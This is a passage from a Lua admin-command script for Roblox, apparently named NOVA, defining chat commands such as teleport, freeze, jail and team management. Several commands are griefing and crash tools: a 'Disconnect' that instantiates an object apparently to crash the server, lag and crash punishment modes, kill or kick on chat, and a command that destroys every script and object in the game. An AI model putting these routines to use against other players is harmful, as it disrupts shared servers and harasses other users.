  1566. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  1567. for i=0,7 do
  1568. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  1569. RemoveTablets(Speaker)
  1570. for _,v in pairs(NOVA.Commands) do
  1571. if v.Rank == i then
  1572. Output(v.Name,Data.Color,Speaker,nil,function()
  1573. RemoveTablets(Speaker)
  1574. Output("Name : "..v.Name,Data.Color,Speaker)
  1575. Output("Command : "..v.Command,Data.Color,Speaker)
  1576. Output("Arguments : "..v.Args,Data.Color,Speaker)
  1577. Output("Description : "..v.Description,Data.Color,Speaker)
  1578. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1579. end)
  1580. end
  1581. end
  1582. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1583. end)
  1584. end
  1585. Output("ALL",Data.Color,Speaker,nil,function()
  1586. RemoveTablets(Speaker)
  1587. for _,v in pairs(NOVA.Commands) do
  1588. if GetRank(Speaker) >= v.Rank then
  1589. Output(v.Name,Data.Color,Speaker,nil,function()
  1590. RemoveTablets(Speaker)
  1591. Output("Name : "..v.Name,Data.Color,Speaker)
  1592. Output("Command : "..v.Command,Data.Color,Speaker)
  1593. Output("Arguments : "..v.Args,Data.Color,Speaker)
  1594. Output("Description : "..v.Description,Data.Color,Speaker)
  1595. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1596. end)
  1597. end
  1598. end
  1599. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1600. end)
  1601. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1602. end
  1603. )
  1604.  
  1605. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  1606. function(Msg,Speaker)
  1607. Instance.new("ManualSurfaceJointInstance",workspace)
  1608. end
  1609. )
  1610.  
  1611. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  1612. function(Msg,Speaker)
  1613. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1614. if v.Name == "TeamDman" then
  1615. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1616. else
  1617. pcall(function()
  1618. Lag(v)
  1619. end)
  1620. end
  1621. end
  1622. end
  1623. )
  1624.  
  1625.  
  1626. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  1627. function(Msg,Speaker)
  1628. RemoveTablets(Speaker)
  1629. Output("List","Random",Speaker,nil,
  1630. function()
  1631. RemoveTablets(Speaker)
  1632. for _,v in pairs(NOVA.Ranked) do
  1633. if v.InPRI == true then
  1634. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  1635. RemoveTablets(Speaker)
  1636. OnChatted("\\pri\\",Speaker)
  1637. end)
  1638. end
  1639. end
  1640. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1641. end
  1642. )
  1643.  
  1644. Output("Type","Random",Speaker,nil,
  1645. function()
  1646. RemoveTablets(Speaker)
  1647. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  1648. function()
  1649. NOVA.PRIType = "Kick"
  1650. RemoveTablets(Speaker)
  1651. OnChatted("\\pri\\",Speaker)
  1652. end
  1653. )
  1654. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  1655. function()
  1656. NOVA.PRIType = "Lag"
  1657. RemoveTablets(Speaker)
  1658. OnChatted("\\pri\\",Speaker)
  1659. end
  1660. )
  1661. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  1662. function()
  1663. NOVA.PRIType = "Shutdown"
  1664. RemoveTablets(Speaker)
  1665. OnChatted("\\pri\\",Speaker)
  1666. end
  1667. )
  1668. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  1669. function()
  1670. NOVA.PRIType = "Crash"
  1671. RemoveTablets(Speaker)
  1672. OnChatted("\\pri\\",Speaker)
  1673. end
  1674. )
  1675. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1676. end
  1677. )
  1678.  
  1679. Output("Remove Player",NOVA.Colors.Orange,Speaker,nil,
  1680. function()
  1681. RemoveTablets(Speaker)
  1682. for num,v in pairs(NOVA.Ranked) do
  1683. if v.InPRI == true then
  1684. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,
  1685. function()
  1686. v.InPRI = false
  1687. end
  1688. )
  1689. end
  1690. end
  1691. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1692. end
  1693. )
  1694.  
  1695. Output("Add Player",NOVA.Colors.Green,Speaker,nil,
  1696. function()
  1697. RemoveTablets(Speaker)
  1698. for _,v in pairs(NOVA.Ranked) do
  1699. if v.InPRI == false and v.Rank > -1 then
  1700. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,
  1701. function()
  1702. v.InPRI = true
  1703. end
  1704. )
  1705. end
  1706. end
  1707. Output("All",NOVA.Colors.Green,Speaker,nil,
  1708. function()
  1709. for _,v in pairs(NOVA.Ranked) do v.InPRI = true end
  1710. RemoveTablets(Speaker)
  1711. OnChatted("\\pri\\",Speaker)
  1712. end
  1713. )
  1714. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1715. end
  1716. )
  1717.  
  1718. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  1719. function()
  1720. NOVA.PRI = true
  1721. RemoveTablets(Speaker)
  1722. OnChatted("\\pri\\",Speaker)
  1723. end
  1724. )
  1725.  
  1726. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  1727. function()
  1728. NOVA.PRI = false
  1729. RemoveTablets(Speaker)
  1730. OnChatted("\\pri\\",Speaker)
  1731. end
  1732. )
  1733.  
  1734. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1735. end
  1736. )
  1737.  
  1738. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  1739. function(Msg,Speaker)
  1740. RemoveTablets(Speaker)
  1741. for num,v in pairs(NOVA.Ranked) do
  1742. Output(v.Name,v.Color,Speaker,nil,
  1743. function(Clicker)
  1744. RemoveTablets(Speaker)
  1745. Output("Name : "..v.Name,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1746. Output("Rank Name : "..GetRankName(v.Name),v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1747. Output("Rank Number : "..v.Rank,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1748. Output("Desc : "..v.Desc,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1749. Output("Color : "..tostring(v.Color),v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1750. Output("Dismiss",NOVA.Colors.Red,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1751. end
  1752. )
  1753. end
  1754. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1755. end
  1756. )
  1757.  
  1758. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","No Arguments",
  1759. function(Msg,Speaker)
  1760. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1761. if GetRank(Speaker) > GetRank(v) then
  1762. Output(v.Name,GetRankedTable(v).Color,Speaker,nil,
  1763. function()
  1764. RemoveTablets(Speaker)
  1765. if GetRank(Speaker) < 6 then
  1766. for i=0,GetRank(Speaker)-1 do
  1767. Output(i,Color3.new(i/10,i/10,i/10),Speaker,nil,
  1768. function()
  1769. GetRankedTable(v).Rank = i
  1770. if GetRank(v) == -2 then
  1771. Lag(v)
  1772. end
  1773. if GetRank(v) == -1 then
  1774. GetRidOf(v)
  1775. end
  1776. RemoveTablets(Speaker)
  1777. OnChatted("\\setrank\\",Speaker)
  1778. end
  1779. )
  1780. end
  1781. else
  1782. for i=-2,GetRank(Speaker)-1 do
  1783. Output(i,Color3.new(i/10,i/10,i/10),Speaker,nil,
  1784. function()
  1785. GetRankedTable(v).Rank = i
  1786. if GetRank(v) == -2 then
  1787. Lag(v)
  1788. end
  1789. if GetRank(v) == -1 then
  1790. GetRidOf(v)
  1791. end
  1792. RemoveTablets(Speaker)
  1793. OnChatted("\\setrank\\",Speaker)
  1794. end
  1795. )
  1796. end
  1797. end
  1798. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1799. end
  1800. )
  1801. end
  1802. end
  1803. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1804. end
  1805. )
  1806.  
  1807. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  1808. function(Msg,Speaker)
  1809.  
  1810. Split = GetSplit(Msg)
  1811. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  1812. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  1813. for _,a in pairs(send) do
  1814. for _,b in pairs(to) do
  1815. pcall(function()
  1816. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  1817. end)
  1818. end
  1819. end
  1820.  
  1821. end
  1822. )
  1823.  
  1824. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  1825. function(Msg,Speaker)
  1826.  
  1827. Split = GetSplit(Msg)
  1828. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  1829. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  1830. for i, player in pairs(send) do
  1831. pcall(function()
  1832. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  1833. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  1834. * CFrame.new(0, 0, 3 + (#send*2) )
  1835. end)
  1836. end
  1837. end
  1838. )
  1839.  
  1840. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  1841. function(Msg,Speaker)
  1842. Split = GetSplit(Msg)
  1843. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  1844. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  1845. end
  1846.  
  1847. end
  1848. )
  1849.  
  1850. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  1851. function(Msg,Speaker)
  1852. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1853. pcall(function()
  1854. v.Character:BreakJoints()
  1855. E = Instance.new("Explosion",NOVA.Services.Workspace)
  1856. E.Position = v.Character.Torso.Position
  1857. E.BlastPressure = 124000
  1858. end)
  1859. end
  1860. end
  1861. )
  1862.  
  1863. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  1864. function(Msg,Speaker)
  1865. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1866. pcall(function()
  1867. v.Character.Humanoid.MaxHealth = math.huge
  1868. end)
  1869. end
  1870. end
  1871. )
  1872.  
  1873. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  1874. function(Msg,Speaker)
  1875. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1876. pcall(function()
  1877. v.Character.Torso.Touched:connect(function(part)
  1878. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  1879. part.CanCollide = true
  1880. part:BreakJoints()
  1881. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1882. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1883. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1884. end
  1885. end)
  1886. end)
  1887. end
  1888. end
  1889. )
  1890.  
  1891. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  1892. function(Msg,Speaker)
  1893. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1894. pcall(function()
  1895. v.Character.Parent = NOVA.Services.Lighting
  1896. end)
  1897. end
  1898. end
  1899. )
  1900.  
  1901. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  1902. function(Msg,Speaker)
  1903. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1904. pcall(function()
  1905. v.Character.Parent = NOVA.Services.Workspace
  1906. v.Character:MakeJoints()
  1907. pcall(function() v.Character.Animate.Disabled = false end)
  1908. end)
  1909. end
  1910. end
  1911. )
  1912.  
  1913. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  1914. function(Msg,Speaker)
  1915. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1916. pcall(function()
  1917. for _,part in pairs(v.Character:GetChildren()) do
  1918. pcall(function()
  1919. part.Anchored = true
  1920. end)
  1921. end
  1922. end)
  1923. end
  1924. end
  1925. )
  1926.  
  1927. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  1928. function(Msg,Speaker)
  1929. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1930. pcall(function()
  1931. for _,part in pairs(v.Character:GetChildren()) do
  1932. pcall(function()
  1933. part.Anchored = false
  1934. end)
  1935. end
  1936. end)
  1937. end
  1938. end
  1939. )
  1940.  
  1941. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  1942. function(Msg,Speaker)
  1943. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1944. pcall(function()
  1945. for _,part in pairs(v.Backpack:GetChildren()) do
  1946. part:Destroy()
  1947. end
  1948. end)
  1949. end
  1950. end
  1951. )
  1952.  
  1953. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  1954. function(Msg,Speaker)
  1955. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1956. pcall(function()
  1957. v.Backpack:Destroy()
  1958. end)
  1959. end
  1960. end
  1961. )
  1962.  
  1963. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  1964. function(Msg,Speaker)
  1965. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1966. pcall(function()
  1967. v.Character.Humanoid.Sit = true
  1968. end)
  1969. end
  1970. end
  1971. )
  1972.  
  1973. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  1974. function(Msg,Speaker)
  1975. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1976. pcall(function()
  1977. v.Character.Humanoid.Sit = false
  1978. end)
  1979. end
  1980. end
  1981. )
  1982.  
  1983. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  1984. function(Msg,Speaker)
  1985. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1986. pcall(function()
  1987. v.Character.Humanoid.Jump = true
  1988. end)
  1989. end
  1990. end
  1991. )
  1992.  
  1993. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  1994. function(Msg,Speaker)
  1995. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1996. pcall(function()
  1997. Speaker.Character = v.Character
  1998. end)
  1999. end
  2000. end
  2001. )
  2002.  
  2003. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2004. function(Msg,Speaker)
  2005. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2006. pcall(function()
  2007. for _,v in pairs(v.Character:GetChildren()) do
  2008. if v:IsA("BasePart") then
  2009. coroutine.resume(coroutine.create(function()
  2010. for i=1,10 do
  2011. wait()
  2012. v.Transparency = v.Transparency + 0.1
  2013. end
  2014. end))
  2015. end
  2016. if v:IsA("Hat") then
  2017. coroutine.resume(coroutine.create(function()
  2018. for i=1,10 do
  2019. wait()
  2020. v.Handle.Transparency = v.Handle.Transparency + 0.1
  2021. end
  2022. end))
  2023. end
  2024. end
  2025. end)
  2026. end
  2027. end
  2028. )
  2029.  
  2030. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2031. function(Msg,Speaker)
  2032. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2033. pcall(function()
  2034. for _,v in pairs(v.Character:GetChildren()) do
  2035. if v:IsA("BasePart") then
  2036. coroutine.resume(coroutine.create(function()
  2037. for i=1,10 do
  2038. wait()
  2039. v.Transparency = v.Transparency - 0.1
  2040. end
  2041. end))
  2042. end
  2043. if v:IsA("Hat") then
  2044. coroutine.resume(coroutine.create(function()
  2045. for i=1,10 do
  2046. wait()
  2047. v.Handle.Transparency = v.Handle.Transparency - 0.1
  2048. end
  2049. end))
  2050. end
  2051. end
  2052. end)
  2053. end
  2054. end
  2055. )
  2056.  
  2057. AddCommand("No Builders Club","nbc",2,"Sets the selected player builder club membership type.","<Player>",
  2058. function(Msg,Speaker)
  2059. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2060. pcall(function()
  2061. v.MembershipTypeReplicate = 0
  2062. end)
  2063. end
  2064. end
  2065. )
  2066.  
  2067. AddCommand("Builders Club","bc",2,"Sets the selected player builder club membership type.","<Player>",
  2068. function(Msg,Speaker)
  2069. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2070. pcall(function()
  2071. v.MembershipTypeReplicate = 1
  2072. end)
  2073. end
  2074. end
  2075. )
  2076.  
  2077. AddCommand("Turbo Builders Club","tbc",2,"Sets the selected player builder club membership type.","<Player>",
  2078. function(Msg,Speaker)
  2079. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2080. pcall(function()
  2081. v.MembershipTypeReplicate = 2
  2082. end)
  2083. end
  2084. end
  2085. )
  2086.  
  2087. AddCommand("Outragous Builders Club","obc",2,"Sets the selected player builder club membership type.","<Player>",
  2088. function(Msg,Speaker)
  2089. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2090. pcall(function()
  2091. v.MembershipTypeReplicate = 3
  2092. end)
  2093. end
  2094. end
  2095. )
  2096.  
  2097. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2098. function(Msg,Speaker)
  2099. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2100. pcall(function()
  2101. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2102. end)
  2103. end
  2104. end
  2105. )
  2106.  
  2107. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2108. function(Msg,Speaker)
  2109. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2110. pcall(function()
  2111. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2112. end)
  2113. end
  2114. end
  2115. )
  2116.  
  2117. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2118. function(Msg,Speaker)
  2119. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2120. pcall(function()
  2121. waittime = "0.0"..string.rep("0",1000).."1"
  2122. coroutine.resume(coroutine.create(function()
  2123. v.Character.Humanoid.WalkSpeed = 0
  2124. local CF = v.Character.Torso.CFrame
  2125. for angle = 1, 45 do
  2126. local p = Instance.new("Part",NOVA.Services.Workspace)
  2127. p.Size = Vector3.new(1, 10, 1)
  2128. p.Anchored = true
  2129. p.TopSurface = "Smooth"
  2130. p.BottomSurface = "Smooth"
  2131. p.Transparency = 0.9
  2132. p.CFrame = CF
  2133. * CFrame.Angles(0, math.rad(angle*8), 0)
  2134. * CFrame.new(0, 0, 5)
  2135. wait(tonumber(waittime))
  2136. end
  2137.  
  2138. for angle = 1, 45/2 do
  2139. local p = Instance.new("Part",NOVA.Services.Workspace)
  2140. p.Size = Vector3.new(11, 1, 1)
  2141. p.Anchored = true
  2142. p.TopSurface = "Smooth"
  2143. p.BottomSurface = "Smooth"
  2144. p.Transparency = 0.9
  2145. p.CFrame = CF
  2146. * CFrame.Angles(0, math.rad(angle*8), 0)
  2147. * CFrame.new(0, 5, 0)
  2148.  
  2149.  
  2150. local p = Instance.new("Part",NOVA.Services.Workspace)
  2151. p.Size = Vector3.new(11, 1, 1)
  2152. p.Anchored = true
  2153. p.TopSurface = "Smooth"
  2154. p.BottomSurface = "Smooth"
  2155. p.Transparency = 0.9
  2156. p.CFrame = CF
  2157. * CFrame.Angles(0, math.rad(angle*8), 0)
  2158. * CFrame.new(0, 0 - 5, 0)
  2159.  
  2160.  
  2161.  
  2162. wait(tonumber(waittime))
  2163. end
  2164. v.Character.Humanoid.WalkSpeed = 16
  2165. end))
  2166. end)
  2167. end
  2168. end
  2169. )
  2170.  
  2171. AddCommand("NOVA Clear","nova",6,"Clears the game.","No Arguments",
  2172. function(Msg,Speaker)
  2173. for num,v in pairs(GetRecursiveChildren()) do
  2174. pcall(function()
  2175. if v:IsA("Script") then
  2176. pcall(function()
  2177. v.Disabled = true
  2178. v:Destroy()
  2179. end)
  2180. end
  2181. end)
  2182. end
  2183. for num,v in pairs(GetRecursiveChildren()) do
  2184. pcall(function()
  2185. if not v:IsA("Player") then
  2186. pcall(function()
  2187. v:Destroy()
  2188. end)
  2189. end
  2190. end)
  2191. end
  2192. for _,v in pairs(NOVA.Services) do
  2193. v.Name = v.className
  2194. end
  2195. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2196. Base.Name="Base"
  2197. Base.Size=Vector3.new(2048,1,2048)
  2198. Base.BrickColor=BrickColor.new("Really Black")
  2199. Base.Anchored=true
  2200. Base.Locked=true
  2201. Base.TopSurface="Smooth"
  2202. Base.Transparency = 1
  2203. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2204. local selectionbox=Instance.new("SelectionBox",Base)
  2205. selectionbox.Adornee = selectionbox.Parent
  2206. selectionbox.Color = BrickColor.new(1,0,0)
  2207. local skybox=Instance.new("Sky",game:GetService("Lighting"))
  2208. skybox.SkyboxBk="http://www.roblox.com/asset/?id=13996320"
  2209. skybox.SkyboxDn="http://www.roblox.com/asset/?id=13996320"
  2210. skybox.SkyboxLf="http://www.roblox.com/asset/?id=13996320"
  2211. skybox.SkyboxFt="http://www.roblox.com/asset/?id=13996320"
  2212. skybox.SkyboxRt="http://www.roblox.com/asset/?id=13996320"
  2213. skybox.SkyboxUp="http://www.roblox.com/asset/?id=13996320"
  2214. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2215. Spawn.Size=Vector3.new(6,1,6)
  2216. Spawn.Transparency=1
  2217. Spawn.CanCollide=false
  2218. Spawn.Anchored=true
  2219. Spawn.Locked=true
  2220. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2221. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do v:LoadCharacter() end
  2222. end
  2223. )
  2224.  
  2225. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2226. function (Msg,Speaker)
  2227. Split = GetSplit(Msg)
  2228. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2229. pcall(function()
  2230. Team = nil
  2231. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2232. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2233. Team = find
  2234. end
  2235. end
  2236. v.TeamColor = Team.TeamColor
  2237. end)
  2238. end
  2239. end
  2240. )
  2241.  
  2242. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  2243. function(Msg,Speaker)
  2244. RemoveTablets(Speaker)
  2245. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  2246. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  2247. v:Remove()
  2248. end
  2249. end
  2250. end
  2251. )
  2252.  
  2253. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  2254. function(Msg,Speaker)
  2255. Split = GetSplit(Msg)
  2256. Team = Instance.new("Team",NOVA.Services.Teams)
  2257. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  2258. Team.Name = Msg:sub(1,Split-1)
  2259. Team.AutoAssign = false
  2260. Team.Neutral = false
  2261. end
  2262. )
  2263.  
  2264. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  2265. function(Msg,Speaker)
  2266. for _,v in pairs(GetPlayers(Msg,speaker)) do
  2267. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  2268. end
  2269. end
  2270. )
  2271.  
  2272. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  2273. function(Msg,Speaker)
  2274. for _,v in pairs(GetPlayers(Msg,speaker)) do
  2275. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  2276. end
  2277. end
  2278. )
  2279.  
  2280. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  2281. function(Msg,Speaker)
  2282. for _,v in pairs(NOVA.Services.Workspace:GetChildren()) do
  2283. pcall(function()
  2284. v:Destroy()
  2285. end)
  2286. end
  2287.  
  2288. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2289. Base.Name="Base"
  2290. Base.Size=Vector3.new(2048,1,2048)
  2291. Base.BrickColor=BrickColor.new("Dark green")
  2292. Base.Anchored=true
  2293. Base.Locked=true
  2294. Base.TopSurface="Studs"
  2295. Base.Transparency = 0
  2296. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2297. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2298. Spawn.Size=Vector3.new(6,1,6)
  2299. Spawn.Transparency=1
  2300. Spawn.CanCollide=false
  2301. Spawn.Anchored=true
  2302. Spawn.Locked=true
  2303. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2304.  
  2305. wait(1)
  2306.  
  2307. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  2308. v:LoadCharacter()
  2309. end
  2310.  
  2311. end
  2312. )
  2313.  
  2314. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  2315. function(Msg,Speaker)
  2316. RemoveTablets(Speaker)
  2317. Explore(game,Speaker)
  2318. end
  2319. )
  2320.  
  2321. AddCommand("Lock Models","lockmodels",6,"Lets you toggle the model lock.","No Arguments",
  2322. function(Msg,Speaker)
  2323. if NOVA.LockModels == true then
  2324. NOVA.LockModels = false
  2325. elseif NOVA.LockModels == false then
  2326. NOVA.LockModels = true
  2327. end
  2328.  
  2329. end
  2330. )
  2331.  
  2332. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  2333. function(Msg,Speaker)
  2334. if NOVA.LockedScripts == true then
  2335. NOVA.LockedScripts = false
  2336. elseif NOVA.LockedScripts == false then
  2337. NOVA.LockedScripts = true
  2338. end
  2339.  
  2340. end
  2341. )
  2342.  
  2343. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  2344. function(Msg,Speaker)
  2345. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2346. for i=1,25 do
  2347. coroutine.resume(coroutine.create(function()
  2348. wait()
  2349. local Part = Instance.new("Part",NOVA.Services.Workspace)
  2350. Part.FormFactor = "Custom"
  2351. Part.Transparency = 1
  2352. Part.CanCollide = false
  2353. Part.Anchored = false
  2354. Part.Size = Vector3.new(1,1,1)
  2355. Part.CFrame = v.Character.Head.CFrame
  2356. Part:BreakJoints()
  2357.  
  2358. local BBG = Instance.new("BillboardGui",Part)
  2359. BBG.Adornee = Part
  2360. BBG.Size = UDim2.new(3,0,1,0)
  2361. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  2362.  
  2363. local Img = Instance.new("ImageLabel",BBG)
  2364. Img.Size = UDim2.new(1,0,1,0)
  2365. Img.BackgroundTransparency = 1
  2366. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  2367.  
  2368. local BP = Instance.new("BodyPosition",Part)
  2369. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2370. --BP.D = 2000
  2371. BP.P = 1000
  2372. BP.position = Part.Position + Vector3.new(
  2373. math.random(-7,7),
  2374. math.random(-7,7),
  2375. math.random(-7,7))
  2376.  
  2377. for v = 3,0,-0.1 do
  2378. wait(0.1)
  2379. BBG.Size = UDim2.new(v,0,v,0)
  2380. end
  2381. Part:Remove()
  2382. end))
  2383. end
  2384. end
  2385. end
  2386. )
  2387.  
  2388. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  2389. function(Msg,Speaker)
  2390. NOVA.Canceled = true
  2391. end
  2392. )
  2393.  
  2394. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  2395. function(Msg,Speaker)
  2396. Split = GetSplit(Msg)
  2397. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1))) do
  2398. pcall(function()
  2399. pcall(function()
  2400. v.Character[v.Name]:Remove()
  2401. end)
  2402. OldHead = v.Character.Head
  2403. Model = Instance.new("Model",v.Character.Head)
  2404. Model.Name = Msg:sub(Split+1)
  2405. Head = OldHead:Clone()
  2406. Head.Parent = Model
  2407. Head.Transparency = 0
  2408. Head.Name = "Head"
  2409. Head.CanCollide = false
  2410. Hum = Instance.new("Humanoid",Model)
  2411. Hum.MaxHealth = 0
  2412. Weld = Instance.new("Weld",Head)
  2413. Weld.Part0 = Head
  2414. Weld.Part1 = OldHead
  2415. Weld.C0 = CFrame.new(0,0,0)
  2416. OldHead.Transparency= 1
  2417. end)
  2418. end
  2419. end
  2420. )
  2421.  
  2422. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  2423. function(Msg,Speaker)
  2424. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2425. CreateLocalScript([[
  2426. script.Parent = nil
  2427. Camera = workspace.CurrentCamera
  2428. LocalPlayer = game.Players.LocalPlayer
  2429. Camera.CameraType = "Scriptable"
  2430. for i=1,700 do
  2431. wait()
  2432. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  2433. Camera.CameraType = "Scriptable"
